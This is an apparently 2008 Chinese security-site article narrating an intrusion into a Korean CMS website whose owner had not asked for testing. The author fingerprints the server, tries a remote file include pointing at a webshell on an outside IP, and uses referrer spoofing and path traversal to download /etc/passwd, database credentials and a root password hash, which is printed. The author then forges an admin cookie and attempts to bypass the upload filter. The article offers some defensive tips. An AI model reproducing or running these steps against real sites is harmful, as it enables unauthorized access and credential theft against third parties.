安全中國(guó) www.anqn.com更新時(shí)間:2008-11-18 1:03:37
責(zé)任編輯:高遠(yuǎn)
熱 點(diǎn):
某日,一個(gè)做網(wǎng)頁設(shè)計(jì)的朋友發(fā)給我一個(gè)站(www.ba******.net),問我感覺如何?該網(wǎng)站設(shè)計(jì)漂不漂亮?明明知道我在藝術(shù)方面不太擅長(zhǎng),尤其是美感設(shè)計(jì),還發(fā)過來,不過既然發(fā)過來了,也要上去看看,打開網(wǎng)站后,感覺還是蠻簡(jiǎn)潔的,如圖1所示,就看看它的安全性如何。
圖1韓國(guó)某網(wǎng)站CMS界面
一、服務(wù)器信息收集
1.獲取IP信息
直接打開DOS提示符操作窗口,使用ping命令,對(duì)網(wǎng)站www.b*******.net進(jìn)行ping操作,如圖2所示,獲取IP地址為“221.***.**.21”,且無丟包現(xiàn)象,延遲時(shí)間也較少,呵呵,感覺韓國(guó)的計(jì)算機(jī)就是爽,速度快,硬件配置也高。
圖2獲取網(wǎng)站IP地址
安全小知識(shí)
(1)TTL術(shù)語
TTL是Time to Live對(duì)縮寫,它是IP協(xié)議包中的一個(gè)值,它告訴網(wǎng)絡(luò)路由器包在網(wǎng)絡(luò)中的時(shí)間是否太長(zhǎng)而應(yīng)被丟棄。有很多原因使包在一定時(shí)間內(nèi)不能被傳遞到目的地。例如,不正確的路由表可能會(huì)導(dǎo)致包的無限循環(huán)。一個(gè)解決方法就是在一段時(shí)間后丟棄這個(gè)包,然后給發(fā)送者一個(gè)報(bào)文,由發(fā)送者決定是否要重發(fā)。TTL的初值通常是系統(tǒng)缺省值,是包頭中的8位的域。TTL的最初設(shè)想是確定一個(gè)時(shí)間范圍,超過此時(shí)間就把包丟棄。由于每個(gè)路由器都至少要把TTL值減一,TTL通常表示包在被丟棄前最多能經(jīng)過的路由器個(gè)數(shù)。當(dāng)記數(shù)到0時(shí),路由器決定丟棄該包,并發(fā)送一個(gè)ICMP報(bào)文給最初的發(fā)送者。
TTL是指定數(shù)據(jù)報(bào)被路由器丟棄之前允許通過的網(wǎng)段數(shù)量。通常是由發(fā)送主機(jī)設(shè)置的,以防止數(shù)據(jù)包不斷在 IP 互聯(lián)網(wǎng)絡(luò)上永不終止地循環(huán)。轉(zhuǎn)發(fā) IP 數(shù)據(jù)包時(shí),要求路由器至少將 TTL 減小 1。
使用PING時(shí)涉及到的 ICMP 報(bào)文類型
一個(gè)為ICMP請(qǐng)求回顯(ICMP Echo Request)
一個(gè)為ICMP回顯應(yīng)答(ICMP Echo Reply)
(2)TTL值
TTL 字段值可以幫助我們識(shí)別操作系統(tǒng)類型,下面是一些常見系統(tǒng)的TTL值:
(1)UNIX 及類 UNIX 操作系統(tǒng) ICMP 回顯應(yīng)答的 TTL 字段值為 255;
(2)Compaq Tru64 5.0 ICMP 回顯應(yīng)答的TTL字段值為64;
(3)微軟 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系統(tǒng) ICMP 回顯應(yīng)答的 TTL字段值為128;
(4)微軟 Windows 95、Windows98、Windows98SE、Windows ME操作系統(tǒng)ICMP 回顯應(yīng)答的TTL字段值為 32;
(5)一些特殊情況下,其TTL值會(huì)有一些不同:
LINUX Kernel 2.2.x & 2.4.x ICMP 回顯應(yīng)答的 TTL 字段值為 64
FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回顯應(yīng)答的TTL字段值為255;
從返回的TTL值中,可以初步判定目標(biāo)主機(jī)是linux系統(tǒng)。
防護(hù)技巧
在一般意義上可以通過“ping 主機(jī)地址”或者“ping 網(wǎng)站域名地址”來獲取TTL值,通過TTL值來判斷網(wǎng)站所在主機(jī)的操作系統(tǒng)類型。一些防護(hù)嚴(yán)格的系統(tǒng)會(huì)自定義TTL值,從而讓入侵者無法通過TTL值來獲取操作系統(tǒng)的類型。TTL值的注冊(cè)表位置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 其中有個(gè)DefaultTTL的DWORD值,其數(shù)據(jù)就是默認(rèn)的TTL值了,我們可以修改,但不能大于十進(jìn)制的255。例如本人的計(jì)算機(jī)的TTL值就是127,如圖3所示,嘿嘿,從常見的TTL值你就無法知道!
圖3 自定義TTL值
注意:
修改TTL值后需要重啟計(jì)算機(jī)才能生效,不同計(jì)算機(jī)操作系統(tǒng)可能修改的TTL值地方不一樣,一般情況下是去注冊(cè)表
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet001\Services\Tcpip\Parameters”下修改DefaultTTL的值,如果是在“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters”中則需要新建“DefaultTTL”鍵,且類型為DWORD。
2.獲取服務(wù)器架構(gòu)信息
通常通過在瀏覽器中輸入“http://221.139.***.21/antian365/”地址,其中“antian365”為不存在的目錄,從返回出錯(cuò)的信息中來判斷服務(wù)器架構(gòu)信息,如圖4所示,可以看出來系統(tǒng)使用的是apache1.3.36,因?yàn)樾≌靖臼鞘褂妹赓M(fèi)的Mysql數(shù)據(jù)庫(kù),所以可以確認(rèn)是典型的LAMP架構(gòu)。
圖4獲取服務(wù)器架構(gòu)信息
說明:
(1)http://221.139.***.21/antian365/如果是在IE瀏覽器輸入,一定要把顯示友好HTTP錯(cuò)誤信息去掉,具體操作:選擇IE瀏覽器--工具--Internet選項(xiàng);在高級(jí)選項(xiàng)框中將“顯示友好HTTP錯(cuò)誤信息”的勾選去掉,這樣才能顯示詳細(xì)的錯(cuò)誤信息。
LAMP架構(gòu)網(wǎng)絡(luò)小知識(shí)
LAMP是一種Web網(wǎng)絡(luò)應(yīng)用和開發(fā)環(huán)境,基本上是四種開源軟件技術(shù)的組合,它們組合在一起產(chǎn)生了一個(gè)功能強(qiáng)大的應(yīng)用服務(wù)平臺(tái),使用卻相對(duì)來說比較簡(jiǎn)單和容易。
LAMP是基于Linux,Apache,MySQL和PHP的開放資源網(wǎng)絡(luò)開發(fā)平臺(tái),這個(gè)術(shù)語來自歐洲,LAMP名字取自每個(gè)程序的第一個(gè)字母,也有人認(rèn)為L(zhǎng)AMP是一種Web網(wǎng)絡(luò)應(yīng)用和開發(fā)環(huán)境,是Linux, Apache,MySQL, Php/Perl的縮寫,每一個(gè)字母代表了一個(gè)組件。其實(shí)LAMP這個(gè)詞的由來最早始于德國(guó)雜志“c't Magazine”,Michael Kunze在1990年最先把這些項(xiàng)目組合在一起創(chuàng)造了LAMP的縮寫字。
這些組件并不是開始就設(shè)計(jì)為一起使用的,由于開源和免費(fèi),隨著越來越多的人使用它,其兼容性不斷改善和完善,因此逐漸成為Web應(yīng)用程序開發(fā)的一種架構(gòu)。在這個(gè)架構(gòu)中每個(gè)程序在所有權(quán)里都符合開放源代碼標(biāo)準(zhǔn):Linux是開放系統(tǒng);Apache是最通用的網(wǎng)絡(luò)服務(wù)器;MySQL是帶有基于網(wǎng)絡(luò)管理附加工具的關(guān)系數(shù)據(jù)庫(kù);PHP是流行的對(duì)象腳本語言,它包含了多數(shù)其它語言的優(yōu)秀特征來使得它的網(wǎng)絡(luò)開發(fā)更加有效。
有時(shí)候,開發(fā)者在Windows操作系統(tǒng)下使用這些Linux環(huán)境里的工具稱為使用WAMP,也稱為WAMP架構(gòu)。 隨著開源潮流的蓬勃發(fā)展,開放源代碼的LAMP已經(jīng)與J2EE和.Net商業(yè)軟件形成三足鼎立之勢(shì),并且該軟件開發(fā)的項(xiàng)目在軟件方面的投資成本較低,因此受到整個(gè)IT界的關(guān)注。有關(guān)LAMP的更多知識(shí),可以查看“LAMP架構(gòu)帖子”http://www.antian365.com/bbs/viewthread.php?tid=2639&extra=page%3D1&frombbs=1
3.探測(cè)端口信息
用sfind掃一下服務(wù)器,發(fā)現(xiàn)只開啟21,80端口,如圖5所示,其中3306Mysql數(shù)據(jù)庫(kù)端口也可以進(jìn)行探測(cè)。
圖5端口信息
之后使用HScan軟件掃描Mysql數(shù)據(jù)庫(kù)和FTP弱口令,沒有結(jié)果??磥磉€是得從web程序入手。
對(duì)韓國(guó)某CMS的一次安全檢測(cè)(圖)
安全中國(guó) www.anqn.com更新時(shí)間:2008-11-18 1:03:37
責(zé)任編輯:高遠(yuǎn)
熱 點(diǎn):
二、Web應(yīng)用程序安全檢測(cè)
1.注入測(cè)試
用阿D,NBSI等注入工具尋找注入點(diǎn),沒有發(fā)現(xiàn)。同時(shí)用手工查找,也沒有找到,simeon說我的注入比較弱,看來一點(diǎn)不假,呵呵。
2.尋找上傳點(diǎn)
http://www.b**.net/ez/bbs.php?table=qna&query=write發(fā)現(xiàn)可以發(fā)貼子,但并沒有文件上傳的地方。
3.旁注檢測(cè)
打開http://www.myipneighbors.com/,同一服務(wù)器下一共有114個(gè)站點(diǎn),都是使用相同的CMS,用明小子的DOMAIN批量檢測(cè)一下注入點(diǎn)和上傳漏洞,和預(yù)計(jì)的結(jié)果一樣,也沒有發(fā)現(xiàn)。
說明:
http://www.myipneighbors.com/ 是一個(gè)通過IP地址或者域名來獲取該IP地址或者域名所在服務(wù)器中所存在的其它網(wǎng)站地址。它比明小子的DOMAIN能查詢到更準(zhǔn)確的數(shù)據(jù)。
4.包含漏洞檢測(cè)
沒辦法,還是再仔細(xì)看看www.b****k.net,當(dāng)瀏覽到http://www.b****k.net/ez/inc.php?inc=company/sub1_1,這個(gè)是不是存在包含漏洞呢?于是測(cè)試http://www.b****k.net/ez/inc.php?inc=http://116.23.82.87:81/WebShell,出現(xiàn)錯(cuò)誤,如圖6所示。
圖6不能遠(yuǎn)程包含漏洞
雖然沒有找到遠(yuǎn)程包含漏洞,但這里可以暴出網(wǎng)站的絕對(duì)路徑:/home/ba****.net/public_html/ez/。
說明:
(1)包含漏洞的原因是程序員在使用涉及到的危險(xiǎn)函數(shù)include、require、include_once和require_once時(shí),未對(duì)傳入的變時(shí)做出過濾。
(2)關(guān)于暴出網(wǎng)站絕對(duì)路徑的修補(bǔ)。因include或require因?yàn)檎也坏桨奈募詴?huì)顯示出錯(cuò),要屏蔽掉錯(cuò)誤顯示也很簡(jiǎn)單,只要在include或require加個(gè)“@”就可以了。
6.下載任意文件漏洞檢測(cè)
手工檢測(cè)下載任意文件漏洞。目前對(duì)于下載任意文件漏洞的檢測(cè)一般是通過手工進(jìn)行檢測(cè)。在瀏覽到http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1網(wǎng)頁時(shí),發(fā)現(xiàn)可以單擊下載圖片,如圖7所示。
圖7下載圖片
可以通過修改URL地址來下載網(wǎng)站的其它文件,通過觀察,URL地址http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg中,file參數(shù)直接使用文件名,也許可以下載其它文件,于是在URL地址欄中輸入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012241_4.jpg(20080706012241_4.jpg為另一張圖片)返回一片空白,查看源代碼,發(fā)現(xiàn)有都是不認(rèn)識(shí)的文字,如圖8所示,不能下載其它圖片文件。
圖8不能下載
不懂是什么意思。難道用uid參數(shù)限制了?還是其它什么的原因。于是重新輸入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,發(fā)現(xiàn)還是一片空白,明明點(diǎn)擊可以下載,為什么從地址欄直接輸入就不可以下載?哦。這不就是和很多下載站所用的伎倆——防盜鏈。
說明:
關(guān)于防盜鏈。也就是下載時(shí)檢查referrer參數(shù)是不是來自本站的頁面,如果不是,就不可以下載。
7.突破防盜鏈
突破防盜鏈方法有很多,可以用asp、PHP、vbs或使用改包NC提交都可以。這里介紹的是一種比較簡(jiǎn)便的方法,使用Firefox自定義referer插件來突破。首先我們應(yīng)該先抓包,看看下載時(shí)的referrer參數(shù)值是什么。
(1)使用LiveHTTPHeaders插件獲取referrer參數(shù)值
先安裝一個(gè)firfox抓包插件LiveHTTPHeaders(http://livehttpheaders.mozdev.org/installation.html),打開該地址,然后單擊網(wǎng)頁鏈接“Install version 0.14 of LiveHTTPHeaders now”,F(xiàn)irefox會(huì)提示進(jìn)行該軟件的安裝,如圖9所示,單擊立即安裝即可。
圖9 安裝LiveHTTPHeaders組件
注意
由于組件由于對(duì)Firefox有版本要求,因此會(huì)出現(xiàn)一些組件無法安裝的現(xiàn)象,如果出現(xiàn)安裝提示警告信息時(shí),一般都可以進(jìn)行安裝。
LiveHTTPHeaders可以抓取http,https的數(shù)據(jù)鏈接,包括get和post,一個(gè)很不錯(cuò)的插件。安裝好插件后,重啟FireFox,打開下載頁面,運(yùn)行LiveHTTPHeaders抓包(工具->Live HTTP Headers),然后再點(diǎn)擊下載,不一會(huì),包就抓好了,查看一下,referrer參數(shù)值為http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如圖10所示,取得referrer參數(shù)值。
圖10 獲取referrer參數(shù)值
(2)使用RefControl插件構(gòu)造referrer值
接著到http://www.blogjava.net/baicker/archive/2008/04/08/191485.html安裝Firefox自定義referer插件RefControl,同樣安裝好之后,重啟Firefox,運(yùn)行RefControl,單擊“添加站點(diǎn)”按鈕,在站點(diǎn)中輸入http://www.b****k.net,動(dòng)作選擇自定義,同時(shí)輸入抓包所獲取的referrer值http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如圖11所示,然后單擊“確定”按鈕,使設(shè)置生效,到此構(gòu)造referrer值完畢。
圖11使用RefControl構(gòu)造referrer參數(shù)值
技巧
可以直接Firefox的附加組件來搜索和添加組件。方法是在Firefox中單擊 “工具”-“附加組件”,在彈出的附加組件中單擊“獲取附加組件”,在搜索輸入框中輸入需要添加到組件名稱,然后單擊搜索按鈕即可查找已經(jīng)存在Firefox附加組件,如果找到,單擊“查看全部結(jié)果”,按照提示安裝即可。
(3)下載passwd文件
在Firefox地址欄輸入:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,發(fā)現(xiàn)可以下載20080706012226_4-1.jpg文件了,再試試
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012241_4.jpg,也可以下載20080706012241_4.jpg。我們?cè)囋嚹懿荒芟螺d/etc/passwd文件,構(gòu)造URL為:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../../../../../etc/passwd,可以下載,如圖12所示,可以下載passwd文件。
圖12下載passwd文件
·上一篇:
攻防實(shí)戰(zhàn):網(wǎng)絡(luò)維護(hù)過程中的滲透與反滲透(圖)·下一篇: 暫時(shí)空缺
對(duì)韓國(guó)某CMS的一次安全檢測(cè)(圖)
安全中國(guó) www.anqn.com更新時(shí)間:2008-11-18 1:03:37
責(zé)任編輯:高遠(yuǎn)
熱 點(diǎn):
8.獲取系統(tǒng)用戶名
使用Editpuls編輯器打開下載的passwd文件,如圖13所示,可以查看該服務(wù)器上的全部的用戶以及密碼信息。
圖13 passwd文件內(nèi)容
說明:
通過查看圖片的屬性可以,圖片在網(wǎng)站的目錄為/ez/bbs/table/pic2/upload/,結(jié)前面暴出的網(wǎng)站絕對(duì)路徑,可知道圖片在服務(wù)器中的絕對(duì)路徑為/home/b****k.net/public_html/ez/bbs/table/pic2/upload/,所以需要8個(gè)“../”才能返回根目錄。
/etc/passwd 文件是linux系統(tǒng)的主要文件之一。該文件中包含了所有用戶登錄名清單;為所有用戶指定了主目錄;在登錄時(shí)使用的 shell 程序名稱等。該文件還保存了用戶口令;給每個(gè)用戶提供系統(tǒng)識(shí)別號(hào)。
到這里,就可以通過phpmyadmin拿webshell了,但我還是想繼續(xù)檢測(cè)程序漏洞。
9.破解系統(tǒng)密碼
使用LC5導(dǎo)入U(xiǎn)nix shadow file文件,即剛才下載的passwd文件,導(dǎo)入后可以看到系統(tǒng)共有295個(gè)賬號(hào)。如圖14所示,可以進(jìn)行破解。
圖14破解Linux系統(tǒng)賬號(hào)
10.繼續(xù)檢測(cè)web程序漏洞
繼續(xù)通過下載漏洞獲取其它文件,在瀏覽器中輸入構(gòu)造好的地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../ez/bbs.php來下載bbs.php文件,將bbs.php文件下載到本地后,通過查看源代碼,得到連接數(shù)據(jù)庫(kù)的文件為conf/db_info.php,于是構(gòu)造數(shù)據(jù)庫(kù)文件下載地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/db_info.php下載數(shù)據(jù)庫(kù)連接文件,得到連接數(shù)據(jù)庫(kù)的用戶名和密碼:111111111111111111111
$DB[kind] = "mysql";
$DB[host] = "localhost";
$DB[name] = "b*******";
$DB[user] = "banseuk";
$DB[pass] = "se********";
?>
于是登錄phpmyadmin(221.***.**.21/mysql)管理數(shù)據(jù)庫(kù),準(zhǔn)備查找出網(wǎng)站后臺(tái)的用戶名和密碼(有時(shí)并不一定能找到phpmyadmin的地址),使用用戶名“b*******”以及對(duì)應(yīng)密碼“"se********"”進(jìn)行登錄,登錄Phpmyadmin后發(fā)現(xiàn),該網(wǎng)站管理員表kimsmall7_gadmin竟然是空的,如圖15所示。
圖15管理員表為空
或者說這個(gè)不是管理員表?于是先下載登錄處理文件看看,構(gòu)造login文件下載地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../lib/login.php,將其下載到本地,查看一下代碼,原來只有ROOT這個(gè)用戶可以登錄,但ROOT用戶的密碼不在數(shù)據(jù)庫(kù)中,而在conf/mkpass.php文件中,而且使用crypt函數(shù)加密,如圖16所示。
圖16 查看mkpass.php文件代碼
說明:不過有的網(wǎng)站是可以有后臺(tái)登錄的,其后臺(tái)登錄處理代碼如圖17所示。
圖17有管理后臺(tái)代碼
不過如果我沒找不到phpmyadmin的地址,也無法查出管理員的密碼。而且就算登錄了后臺(tái)管理,也沒有可以利用的地方。
于是嘗試root登錄,看看有沒有可以利用的地方。先下載root密碼文件
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/mkpass.php
得到密碼如下:22222222222222222222
$ROOT_PASS = "mldzOtDVllwqw";
?>
這是使用了PHP的crypt加密函數(shù)加密的,要解密還是比較難,所以就不打算解密了。
·上一篇:
攻防實(shí)戰(zhàn):網(wǎng)絡(luò)維護(hù)過程中的滲透與反滲透(圖)對(duì)韓國(guó)某CMS的一次安全檢測(cè)(圖)
安全中國(guó) www.anqn.com更新時(shí)間:2008-11-18 1:03:37
責(zé)任編輯:高遠(yuǎn)
熱 點(diǎn):
11.cookie欺騙成功
先看看可否使用UPDATE更新管理員密碼,先看一下源代碼:33333333333333333333
if ($MB_ID == 'ROOT' && $MB_PW != '')
{
include '../conf/mkpass.php';
$crypt_key = "ml5300a";
$INPUT_PASS = crypt($MB_PW,$crypt_key);
if ($INPUT_PASS == $ROOT_PASS)
{
setcookie("MyLootPass" , $ROOT_PASS , 0 , "/");
getTargetLink("../index.php","","");
} else { echo" "; }
}
這個(gè)不是可以cookie欺騙嗎?于是打開桂林老兵的mybrowse,打開網(wǎng)站后,點(diǎn)擊自定義cookie,把cookie修改為:
MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad,然后刷新一下頁面,顯示已登錄(看左上角),如圖18所示。
圖18 cookie欺騙成功
12.得到前臺(tái)可上傳頁面
這個(gè)是前臺(tái)管理員,在前臺(tái)管理中,有發(fā)公告的地方,并可以上傳文件,如圖19所示。
圖19 有上傳可利用管理頁面
13.上傳php文件受限
后臺(tái)對(duì)文件類型做了一些限制,當(dāng)我選擇php文件時(shí),卻彈出一個(gè)對(duì)話框,如圖20所示。
圖20限制上傳php文件
在沒有提交上傳的時(shí)候,就跳出來對(duì)話框,說明肯定本地使用Javascript做了驗(yàn)證,所以可以自己構(gòu)造一個(gè)上傳表單來突破,于是先下載上傳處理文件upload.php文件。構(gòu)造其地址:
http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../bbs/lib/module/upload/upload.php,下載到本地后打開該文件查看其源代碼:4444444444444444444
if ($action == "upload")
{
if(is_uploaded_file($HTTP_POST_FILES[upFile][tmp_name]))
{
$upFile_Ext = explode('.' , $HTTP_POST_FILES[upFile][name]);
if (strstr("html,php3,inc,asp,jsp" , $upFile_Ext[sizeof($upFile_Ext)-1]))
{
echo " ";
exit;
}
$filesize = $HTTP_POST_FILES[upFile][size];
……(略去無關(guān)代碼)
if (is_file("../../../table/$table/upload/".$HTTP_POST_FILES[upFile][name])) {
$upname = date("His")."_".$HTTP_POST_FILES[upFile][name];
move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name], "../../../table/$table/upload/".$upname);
}
else {
$upname = $HTTP_POST_FILES[upFile][name];
move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name], "../../../table/$table/upload/".$upname);
}
}
好象可以上傳PHP文件的,先構(gòu)建一個(gè)上傳表單,代碼如下:
"http://www.b****k.net/ez/bbs/lib/module/upload/upload.php" target='Tmp_Up_Iframe' >
(INPUT type=hidden value=upload name=action)
(INPUT type=hidden value=sub1 name=table)
(INPUT type=hidden value=200 name=MaxUp_Size)
(INPUT type=file name=upFile)
(INPUT type=submit value=提交 name=SubmitBtn)
用時(shí)將( ) 改為< >
另存為upload.htm,再次選擇一個(gè)php文件上傳試試,發(fā)現(xiàn)并不能上傳,如圖21所示。
圖21還是不能上傳php文件
于是上傳一個(gè)gif.phP文件(linux服務(wù)器是區(qū)分大小寫的)。上傳成功后,用IE瀏覽器瀏覽(不要用Firefox,不然圖片也會(huì)變成下載)http://www.b****k.net/ez/bbs/table/sub1/upload/gif.phP,但發(fā)現(xiàn)是出現(xiàn)下載頁面,服務(wù)器不解釋。如圖22所示。
圖22不解釋phP文件
再看一看strstr函數(shù)的解釋。
語法: string strstr(string haystack, string needle);
本函數(shù)將 needle 最先出現(xiàn)在 haystack 處起至 haystack 結(jié)束的字符串返回。若找不到 needle 則返回 false。
原來只要文件名后綴包含php3、php、ph、p等類型都不行。沒折了,不搞了。
誰知道有什么辦法突破,請(qǐng)告知我。
說明:驗(yàn)證個(gè)人認(rèn)為,使用session驗(yàn)證比cookie安全些;還有就是對(duì)上傳文件格式的驗(yàn)證,一定要在服務(wù)器端進(jìn)行,在客戶端驗(yàn)證的話,隨便自己在本地構(gòu)建一個(gè)表單就可以輕輕松松繞過了。
三、總結(jié)與收獲
通過本次對(duì)韓國(guó)某CMS系統(tǒng)網(wǎng)站進(jìn)行檢測(cè),用到了LiveHTTPHeaders、RefControl插件,通過這些插件來輔助進(jìn)行安全檢查,其效果還是非常明顯的,在本次檢測(cè)中成功進(jìn)行突破防盜鏈、進(jìn)行了cookie欺騙,對(duì)php類型的網(wǎng)站安全檢查應(yīng)該是多了一些實(shí)際經(jīng)驗(yàn)。歡迎跟我進(jìn)行技術(shù)探討,我在antian365.com論壇中的id是N3tl04D。